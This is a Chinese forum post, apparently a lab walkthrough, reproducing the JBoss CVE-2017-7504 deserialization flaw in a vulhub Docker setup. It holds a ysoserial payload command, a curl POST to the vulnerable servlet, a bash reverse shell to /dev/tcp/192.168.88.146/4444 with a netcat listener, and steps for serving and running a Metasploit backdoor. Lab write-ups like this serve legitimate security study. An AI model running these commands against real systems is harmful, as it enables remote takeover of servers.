CVE-2017-7504 JBOSS反序列化漏洞

逍遥子   ·   发表于 2022-06-30 11:24:04   ·   漏洞文章
[TOC]

漏洞介绍

JBOSS AS 4.x及之前版本中,JBOSSMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码

环境搭建(使用docker+vulhub)

Vulhub下载地址:https://github.com/vulhub
进入到漏洞所在的目录,使用命令 docker-compose build && docker-compose up -d 下载漏洞环境文件,并且运行


成功启动环境以后,进入浏览器验证是否搭建成功(http://ip:8080)。

漏洞复现

该漏洞出现在/JBOSSmq-httpil/HTTPServerILServlet请求中,我们借助ysoserial的eCommonsCollections5利用链来复现。
ysoserial是在通用Java库中发现的实用程序和面向属性的编程“小工具链”的集合,可以在适当的条件下利用Java应用程序对对象执行不安全的反序列化。主驱动程序接受用户指定的命令,并将其包装在用户指定的小工具链中,然后将这些对象序列化为stdout。当在类路径上具有必需小工具的应用程序不安全地反序列化此数据时,该链将自动被调用并导致命令在应用程序主机上执行。
生成Payload:本处使用了一个创建文件的命令作为测试。ysoserial包的下载放在了结尾附件中
java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 “touch /tmp/success” > 1.ser

我们将1.ser文件内容作为POST Body发送:
curl http://your-ip:8080/JBOSSmq-httpil/HTTPServerILServlet —data-binary <span>@1.ser#CTL{n}#CTL{n}
使用反序列化漏洞执行了一条命令,用于创建文件successs。
打开Ubuntu查看文件是否成功;可见/tmp/success已成功创建

反弹shell

在Kali端使用Netcat进行端口监听,用于接收反弹到的Shell
命令:nc -lvvp 4444


将远程命令执行的命令换为bash的反弹命令,从而触发目标机将Shell反弹到我们手中。
命令:java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 "bash -i &gt;&amp; /dev/tcp/192.168.88.146/4444 0&gt;&amp;" &gt; 2.ser


命令被成功执行,这个时候Kali端的Netcat成功接收到目标的Shell。

下载后门并获取meterpreter

因为我们已经获取到了目标的Shell,可以通过Metasploit生成一个Linux的后门,利用Python搭建一个临时的服务器,使用目标机的Shell下载我们使用Metasploit生成的后门文件,并且执行,获取到Meterpreter。
1. 利用Metasploit生成Linux的后门文件。


2.使用Python搭建临时的服务器,用于目标下载文件
命令:python3 -m http.server 8888


设置Metasploit开启监听,用于接收返回的Meterpreter


4.使用已经获取到的目标的Shell下载后门文件,赋予执行权限并且执行。


5.获取到Meterpreter

用户名金币积分时间理由
Track-劲夫 50.00 0 2022-07-01 19:07:01 一个受益终生的帖子~~

打赏我,让我更有动力~

附件列表

ysoserial.zip   文件大小:0.14M (下载次数:0)   售价:3

2 条回复   |  直到 2023-5-31 | 1187 次浏览

2624124882
发表于 2023-5-31

1

评论列表

  • 加载数据中...

编写评论内容

Track-劲夫
发表于 2022-7-1

建议把附件的金币售价降低

评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.